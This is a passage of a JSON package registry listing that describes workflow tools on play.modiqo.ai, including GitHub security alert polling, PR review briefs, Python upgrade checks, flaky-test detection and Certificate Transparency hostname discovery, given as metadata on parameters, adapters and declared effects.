parallel ticket dispatch.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","linear","project-management","sprint","velocity"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:49:54.940597+00:00","visibility":"public","quality_score":1,"size_bytes":514316,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["step_2_parallel_fanout_execution","step_3_deep_diagnostic_tool_probe","step_4_transform_telemetry_metrics","step_5_emit_reconciliation_verdict","step_1_query_linear_cycle_velocity_telemetry_sync_api"]},"parameters":[{"name":"linear_team_id","type":"string","required":false,"default":"ENG-INFRA","description":"Target Linear team identifier for cycle telemetry sync"},{"name":"execution_timeout_seconds","type":"number","required":false,"default":60,"description":"Maximum execution timeout in seconds"}],"execution":{"adapters":[{"id":"modiqo/linear","name":"linear","version":null,"credential_status":"none"},{"id":"linear","name":"linear","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8c831c4249462a83743967191fb72e4bb62c913d8175155a6eefff85ab511fb9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":1,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":4,"fan_out":1,"for_each_steps":1,"complexity":10,"apis":[{"adapter":"linear","steps":1,"methods":["cycles/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/linear","version":"1.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":2},{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"jq","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/ipapi-geodistributed-threat-tracer@4.15.26","reference":"ankurrawat/ipapi-geodistributed-threat-tracer@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/ipapi-geodistributed-threat-tracer@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/ipapi-geodistributed-threat-tracer@4.15.26","name":"ipapi-geodistributed-threat-tracer","title":"ipapi-geodistributed-threat-tracer","description":"Global Threat Intelligence & Ingress ASN Security Tracer: Queries geographic IP threat telemetry, correlates autonomous system numbers (ASNs) with malicious egress blocks, and coordinates parallel IP range bans.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","ipapi","security","geolocation","threat-intel"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:49:32.125641+00:00","visibility":"public","quality_score":1,"size_bytes":514570,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["step_2_parallel_fanout_execution","step_3_deep_diagnostic_tool_probe","step_4_transform_telemetry_metrics","step_5_emit_reconciliation_verdict","step_1_query_ipapi_geodistributed_threat_tracer_api"]},"parameters":[{"name":"target_ip_range","type":"string","required":false,"default":"198.51.100.0/24","description":"Target CIDR IP address block to trace for geographic threat reputation"},{"name":"execution_timeout_seconds","type":"number","required":false,"default":60,"description":"Maximum execution timeout in seconds"}],"execution":{"adapters":[{"id":"jaylabs/ipapi","name":"ipapi","version":null,"credential_status":"none"},{"id":"ipapi","name":"ipapi","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7652f5889536456cfc44e48461a5127af455481a2f154d45491c671ef536811f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":1,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":4,"fan_out":1,"for_each_steps":1,"complexity":10,"apis":[{"adapter":"ipapi","steps":1,"methods":["ip/lookup"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"jaylabs/ipapi","version":"1.0.1","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":2},{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"jq","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/hacker-news-realtime-trend-indexer@4.15.26","reference":"ankurrawat/hacker-news-realtime-trend-indexer@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/hacker-news-realtime-trend-indexer@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/hacker-news-realtime-trend-indexer@4.15.26","name":"hacker-news-realtime-trend-indexer","title":"hacker-news-realtime-trend-indexer","description":"Real-time Tech Ecosystem Sentiment & Signal Engine: Ingests top Firebase Hacker News stories, evaluates algorithmic upvote velocity, parses comment discourse entropy, and executes parallel topic clustering.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","hackernews","sentiment","ai-trends","tech-news"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:49:22.732759+00:00","visibility":"public","quality_score":1,"size_bytes":514388,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["step_2_parallel_fanout_execution","step_3_deep_diagnostic_tool_probe","step_4_transform_telemetry_metrics","step_5_emit_reconciliation_verdict","step_1_query_hacker_news_realtime_trend_indexer_api"]},"parameters":[{"name":"sentiment_threshold_score","type":"string","required":false,"default":"75","description":"Minimum community engagement velocity score to qualify for trending alerts"},{"name":"execution_timeout_seconds","type":"number","required":false,"default":60,"description":"Maximum execution timeout in seconds"}],"execution":{"adapters":[{"id":"modiqo/hacker-news-api","name":"hacker-news-api","version":null,"credential_status":"none"},{"id":"hacker-news-api","name":"hacker-news-api","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:998a7b739f43d7701f3ec249d824cf360b8db50fa97229f16d568cb6b7cc29e0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":1,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":4,"fan_out":1,"for_each_steps":1,"complexity":10,"apis":[{"adapter":"hacker-news-api","steps":1,"methods":["stories/top"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/hacker-news-api","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":2},{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"jq","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/github-security-vulnerability-alert-poller@4.15.26","reference":"ankurrawat/github-security-vulnerability-alert-poller@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/github-security-vulnerability-alert-poller@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/github-security-vulnerability-alert-poller@4.15.26","name":"github-security-vulnerability-alert-poller","title":"github-security-vulnerability-alert-poller","description":"Automated GitHub Security Vulnerability & Secret Leak Sentinel: Probes Dependabot advisory feeds, queries code scanning SARIF metrics, audits secret scanning token exposures, and dispatches parallel remediation alerts.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","github","security","dependabot","vulnerabilities"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:48:56.699971+00:00","visibility":"public","quality_score":1,"size_bytes":514449,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["step_2_parallel_fanout_execution","step_3_deep_diagnostic_tool_probe","step_4_transform_telemetry_metrics","step_5_emit_reconciliation_verdict","step_1_query_github_security_vulnerability_alert_poller_api"]},"parameters":[{"name":"repository","type":"string","required":false,"default":"ankurrawat/hackathon","description":"Target GitHub repository to audit for security alerts"},{"name":"execution_timeout_seconds","type":"number","required":false,"default":60,"description":"Maximum execution timeout in seconds"}],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"none"},{"id":"github","name":"github","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0b0487626883205b8415d2c4d2b90ed96420009614fc2b0ef1b3dc2aeefbeb92","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":1,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":4,"fan_out":1,"for_each_steps":1,"complexity":10,"apis":[{"adapter":"github","steps":1,"methods":["repos/list-alerts"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":2},{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"jq","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/datadog-slo-burn-rate-sentinel@4.15.26","reference":"ankurrawat/datadog-slo-burn-rate-sentinel@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/datadog-slo-burn-rate-sentinel@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/datadog-slo-burn-rate-sentinel@4.15.26","name":"datadog-slo-burn-rate-sentinel","title":"datadog-slo-burn-rate-sentinel","description":"High-Fidelity Reliability & Error Budget Burn Rate Auditor: Ingests Datadog service level objective (SLO) time-series data, evaluates multi-window 1-hour and 6-hour burn rates, and triggers parallel synthetic trace inspections.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","datadog","observability","slo","sre"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:47:59.396661+00:00","visibility":"public","quality_score":1,"size_bytes":1025275,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":7,"names":["step_api_ingress_probe","step_parallel_fanout_execution","step_2_parallel_fanout_execution","step_3_deep_diagnostic_tool_probe","step_4_transform_telemetry_metrics","step_5_emit_reconciliation_verdict","step_1_query_datadog_slo_burn_rate_sentinel_api"]},"parameters":[{"name":"slo_identifier","type":"string","required":false,"default":"slo_api_gateway_latency_p99","description":"Target Datadog SLO identifier to audit for burn-rate violations"},{"name":"execution_timeout_seconds","type":"number","required":false,"default":60,"description":"Maximum execution timeout in seconds"}],"execution":{"adapters":[{"id":"chetan/posthog-mcp","name":"posthog-mcp","version":null,"credential_status":"none"},{"id":"hacker-news-api","name":"hacker-news-api","version":null,"credential_status":"none"},{"id":"datadog","name":"datadog","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:96a03987f968e52e10715191891ee33188537f20fc4b9abd4e2afcd4c2a76d82","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":2,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":5,"fan_out":1,"for_each_steps":2,"complexity":14,"apis":[{"adapter":"datadog","steps":1,"methods":["slo/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]},{"adapter":"hacker-news-api","steps":1,"methods":["stories/top"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":null,"version":null,"protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":3},{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"jq","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/cloudflare-edge-worker-cache-sentinel@4.15.26","reference":"ankurrawat/cloudflare-edge-worker-cache-sentinel@4.15.26","uri":"https://play.modiqo.ai/ankurrawat/cloudflare-edge-worker-cache-sentinel@4.15.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/cloudflare-edge-worker-cache-sentinel@4.15.26","name":"cloudflare-edge-worker-cache-sentinel","title":"cloudflare-edge-worker-cache-sentinel","description":"Edge CDN Performance & DNS Security Sentinel: Probes Cloudflare zone cache hit ratios, evaluates WAF firewall rule evaluations, measures edge worker latency SLA percentiles, and triggers parallel cache invalidations.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","cloudflare","cdn","waf","edge"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.15.26","published_at":"2026-09-06T13:47:50.953903+00:00","visibility":"public","quality_score":1,"size_bytes":514468,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["step_2_parallel_fanout_execution","step_3_deep_diagnostic_tool_probe","step_4_transform_telemetry_metrics","step_5_emit_reconciliation_verdict","step_1_query_cloudflare_edge_worker_cache_sentinel_api"]},"parameters":[{"name":"cloudflare_zone_id","type":"string","required":false,"default":"zone_prod_edge_acceleration_2026","description":"Primary Cloudflare DNS zone ID under edge caching performance audit"},{"name":"execution_timeout_seconds","type":"number","required":false,"default":60,"description":"Maximum execution timeout in seconds"}],"execution":{"adapters":[{"id":"modiqo/cloudflare","name":"cloudflare","version":null,"credential_status":"none"},{"id":"cloudflare","name":"cloudflare","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3003ec7510083c61a480a518de2002028afb460dc66dd3e1d7049542cc9cd69a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":1,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":2,"width":4,"fan_out":1,"for_each_steps":1,"complexity":10,"apis":[{"adapter":"cloudflare","steps":1,"methods":["zones/list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/cloudflare","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"node","kind":"tool","source":"declared","count":2},{"name":"curl","kind":"tool","source":"declared","count":1},{"name":"jq","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/anshsharma/git-pr-review@0.0.2","reference":"anshsharma/git-pr-review@0.0.2","uri":"https://play.modiqo.ai/anshsharma/git-pr-review@0.0.2","manifest_uri":"https://play.modiqo.ai/anshsharma/git-pr-review@0.0.2","name":"git-pr-review","title":"git-pr-review","description":"A reviewer brief for one GitHub pull request, from just owner/repo/pr — deterministic and read-only, no LLM tokens, the same output every run. Uses the gh CLI (gh api) so it needs no adapter and no extra token: it reuses your existing gh auth. It assembles the three things a reviewer wants before opening the diff. (1) WHAT CHANGED: the intent stated in the PR description, plus every changed file grouped by area with per-area +/- line counts. (2) RISK and IMPACT CALLOUTS, each with evidence and an overall HIGH/MEDIUM/LOW rating — it flags a PR that touches security or auth code (auth, jwt, session, crypto, bearer), database schema or migrations, deletes files, changes CI/infra/config, bumps dependencies or lockfiles, is an oversized hard-to-review diff, or changes source while touching zero test files. (3) A TAILORED TEST CHECKLIST derived from those risks and the changed areas. It fails loudly on a missing or invalid PR instead of rendering an empty brief. The heuristics are signal, not judgment: a fast pre-read that points a human reviewer at what matters, never a replacement for review. Works on any repository your gh login can read, public or private. Requires: gh (GitHub CLI), authenticated (gh auth login).","owner":{"kind":"user","slug":"anshsharma"},"registry_organization":"anshsharma","tags":["github","pull-request","code-review","gh","typescript"],"primary_domain":"domain-uncategorized","author":"anshsharma","version":"0.0.2","published_at":"2026-09-06T13:35:38.094782+00:00","visibility":"public","quality_score":1,"size_bytes":8933,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["pr_meta","pr_files"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner (e.g. 'honojs')"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name (e.g. 'hono')"},{"name":"pr","type":"string","required":true,"description":"Pull request number (e.g. '5335')"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2aa4692765e4c5b6c5a3452b02f69812f72bdb959d14b12f44a536c6ab51c188","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"gh","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/rajdeepkushwaha/python-upgrade-blockers@0.1.0","reference":"rajdeepkushwaha/python-upgrade-blockers@0.1.0","uri":"https://play.modiqo.ai/rajdeepkushwaha/python-upgrade-blockers@0.1.0","manifest_uri":"https://play.modiqo.ai/rajdeepkushwaha/python-upgrade-blockers@0.1.0","name":"python-upgrade-blockers","title":"python-upgrade-blockers","description":"You want to move to a newer Python. One dependency has no prebuilt wheel for it yet, so pip falls back to building from source, which needs a compiler and usually fails - and the normal way to find out which one is to do the upgrade and read the error. This reads your requirements.txt, pyproject.toml or lock file, asks PyPI what each package actually publishes, and names the ones with nothing for the version and platform you asked about. It remembers, so the next run tells you what moved: a package that has since shipped a wheel, or one that newly appeared in your way. The hard part is not finding missing wheels, it is not inventing them. A single cp311-abi3 wheel runs on 3.11 through 3.15 and beyond, so cryptography looks like a blocker to anything searching for cp315 and has been ready for years. A py3-none-any wheel covers every version and requests ships nothing else. A cp315t wheel is the free-threaded interpreter, a different binary interface, and counting it reports a package ready for a Python almost nobody runs. All three are checked, and every verdict names the exact filename behind it so you can look yourself. A package that declares Requires-Python excluding your target is reported even when it ships wheels. A package PyPI would not answer for is counted as unchecked, never as ready and never as blocking. Wheels are matched by platform family rather than glibc version, so a wheel that exists is reported as existing, never as proven to install. It never runs pip, never installs anything, and never executes a line of any package it reads about. The only thing it writes is its own memory file, which it names in the report. Run it with no settings for a bundled example built from real recorded PyPI responses, which needs no network. Needs python3.","owner":{"kind":"user","slug":"rajdeepkushwaha"},"registry_organization":"rajdeepkushwaha","tags":["python","dependencies","upgrades","packaging","pypi"],"primary_domain":"domain-uncategorized","author":"rajdeepkushwaha","version":"0.1.0","published_at":"2026-09-06T13:22:58.240515+00:00","visibility":"public","quality_score":1,"size_bytes":22179,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["read","check","judge","selfcheck"]},"parameters":[{"name":"project","type":"string","required":false,"default":"demo","description":"Absolute path to a project with a requirements or pyproject file, or the word demo"},{"name":"target","type":"string","required":false,"default":"3.15","description":"The Python you want to move to, as 3.14 or 3.15"},{"name":"platform","type":"string","required":false,"default":"linux-x86_64","description":"linux-x86_64, linux-aarch64, musl-x86_64, macos-arm64, macos-x86_64, windows-x86_64 or windows-x86"},{"name":"memory","type":"string","required":false,"default":"default","description":"File that remembers this run so the next one can say what moved. Leave empty to keep no memory."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d72b6614dcb918007fb9efed3bc3e0d4919417481ad5a39db47d41b4d210f7a3","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/shubham-hacks/flake-detective@0.1.0","reference":"shubham-hacks/flake-detective@0.1.0","uri":"https://play.modiqo.ai/shubham-hacks/flake-detective@0.1.0","manifest_uri":"https://play.modiqo.ai/shubham-hacks/flake-detective@0.1.0","name":"flake-detective","title":"flake-detective","description":"Repeats a failing test command, classifies it as consistent, flaky, timeout-related, or not reproduced, and produces a secret-redacted evidence report.","owner":{"kind":"org","slug":"shubham-hacks"},"registry_organization":"shubham-hacks","tags":["testing","flaky-tests","debugging","reproducibility","developer-tools","privacy"],"primary_domain":"domain-uncategorized","author":"Ss Cse1001","version":"0.1.0","published_at":"2026-09-06T13:09:15.150048+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":4838,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["analyze_flakiness"]},"parameters":[{"name":"project_directory","type":"string","required":true,"description":"Project directory in which the test command will run"},{"name":"test_command","type":"string","required":true,"description":"Exact shell command to repeat; disclosed before execution"},{"name":"attempts","type":"string","required":false,"default":"5","description":"Number of attempts from 2 to 20"},{"name":"timeout_seconds","type":"string","required":false,"default":"60","description":"Per-attempt timeout from 1 to 900 seconds"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0d9c11f35c1a3d3844f7fc2d12decbf374ff1612c843e2afcadafcc56a868883","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rusty-chirag/release-causality-window@0.1.0","reference":"rusty-chirag/release-causality-window@0.1.0","uri":"https://play.modiqo.ai/rusty-chirag/release-causality-window@0.1.0","manifest_uri":"https://play.modiqo.ai/rusty-chirag/release-causality-window@0.1.0","name":"release-causality-window","title":"release-causality-window","description":"For every production release, align GitHub release information, Artifact Registry artifacts and deployment timing, LaunchDarkly feature-flag state, Sentry errors, and New Relic error and monitoring movement on one clock. Produce the smallest evidence-backed change set that could explain the regression.","owner":{"kind":"user","slug":"rusty-chirag"},"registry_organization":"rusty-chirag","tags":["typescript","release-management","deployment","causality-analysis","sentry","newrelic","github","artifact-registry","launchdarkly"],"primary_domain":"domain-uncategorized","author":"rusty-chirag","version":"0.1.0","published_at":"2026-09-06T13:03:17.004019+00:00","visibility":"public","quality_score":0.875,"size_bytes":11131,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":6,"names":["fetch_github","analyze_sentry","analyze_new_relic","fetch_launchdarkly","extract_deployment_time","fetch_artifact_registry"]},"parameters":[{"name":"github_repository","type":"string","required":true,"description":"GitHub repository in owner/repo format","example":"octocat/data-pipeline"},{"name":"release_version_tag","type":"string","required":true,"description":"Release version tag (used for both GitHub release and Artifact Registry image tag)","example":"v1.4.0"},{"name":"gcp_project_id","type":"string","required":true,"description":"Google Cloud Project ID","example":"cloud-infra-production"},{"name":"artifact_registry_location","type":"string","required":true,"description":"Artifact Registry repository location (e.g. us-central1)","example":"us-central1"},{"name":"artifact_registry_repository","type":"string","required":true,"description":"Artifact Registry repository name","example":"container-registry"},{"name":"artifact_registry_image_name","type":"string","required":true,"description":"Artifact Registry image or package name","example":"data-pipeline-svc"},{"name":"launchdarkly_project_key","type":"string","required":true,"description":"LaunchDarkly project key","example":"data-platform"},{"name":"launchdarkly_environment_key","type":"string","required":true,"description":"LaunchDarkly environment key","example":"production"},{"name":"launchdarkly_feature_flag_key","type":"string","required":true,"description":"LaunchDarkly feature flag key","example":"enable-fast-query-pipeline"},{"name":"environment","type":"string","required":true,"description":"Target deployment environment (passed to Sentry and New Relic)","example":"production"},{"name":"search_window","type":"string","required":true,"description":"Search window duration around deployment (e.g. 30m, 1h)","example":"1h"},{"name":"tags","type":"string","required":false,"default":"","description":"Optional comma-separated key=value filter tags (passed to Sentry and New Relic)","example":"service=data-pipeline,cluster=prod-us-central1"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a0f59a7d4c5e46cca0e6a1d7b0d79cb937c2ca96dbf03325e5dc01dbbff72923","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sundaram2021/top-online-hackathons@0.1.0","reference":"sundaram2021/top-online-hackathons@0.1.0","uri":"https://play.modiqo.ai/sundaram2021/top-online-hackathons@0.1.0","manifest_uri":"https://play.modiqo.ai/sundaram2021/top-online-hackathons@0.1.0","name":"top-online-hackathons","title":"top-online-hackathons","description":"List Top Online Hackathons: top 10 ongoing online hackathons from Devpost, Unstop, WeMakeDevs, DEV.to and Devfolio with title, link, registration and ending dates, prizes. Public sources, no credentials, chat Markdown output.","owner":{"kind":"user","slug":"sundaram2021"},"registry_organization":"sundaram2021","tags":["typescript","hackathons","online","devpost","unstop"],"primary_domain":"domain-uncategorized","author":"sundaram2021","version":"0.1.0","published_at":"2026-09-06T13:00:00.730102+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":9555,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["fetch_api","fetch_static","render_board"]},"parameters":[{"name":"sources","type":"string","required":false,"default":"devpost,unstop,wemakedevs,devto,devfolio","description":"Comma-separated sources to include"},{"name":"max_results","type":"string","required":false,"default":"20","description":"How many rows in the board (1-50)"},{"name":"per_source","type":"string","required":false,"default":"4","description":"Guaranteed rows per source, 0 for pure deadline sort (0-10)"},{"name":"only_ongoing","type":"string","required":false,"default":"true","description":"Set \"false\" to include upcoming/past-dated rows too"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ae6ab610fbae55bec2708551276c4d63bd3b98c55fdc14d942e4deb55ffa5cca","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajdeepkushwaha/public-hostnames@0.1.0","reference":"rajdeepkushwaha/public-hostnames@0.1.0","uri":"https://play.modiqo.ai/rajdeepkushwaha/public-hostnames@0.1.0","manifest_uri":"https://play.modiqo.ai/rajdeepkushwaha/public-hostnames@0.1.0","name":"public-hostnames","title":"public-hostnames","description":"Every TLS certificate ever issued is published to a Certificate Transparency log - browsers refuse certificates that are not logged - so the name of every server you ever put a certificate on is public, permanently, whether or not you meant it to be. Most people have never looked. Give this a domain and it lists them: which point somewhere today, which are names in a certificate that no longer resolve, and which are wildcards covering subdomains nobody can enumerate. It reads two independent logs, Cert Spotter and crt.sh, because neither is complete - measured on one domain while building this, one returned nine hostnames and the other eleven, each holding names the other did not - so every name says which log saw it. It remembers what it showed you, and the next run marks anything that appeared since: a certificate issued for your domain that you did not issue is the finding this exists for. A log that fails is reported as unreadable, 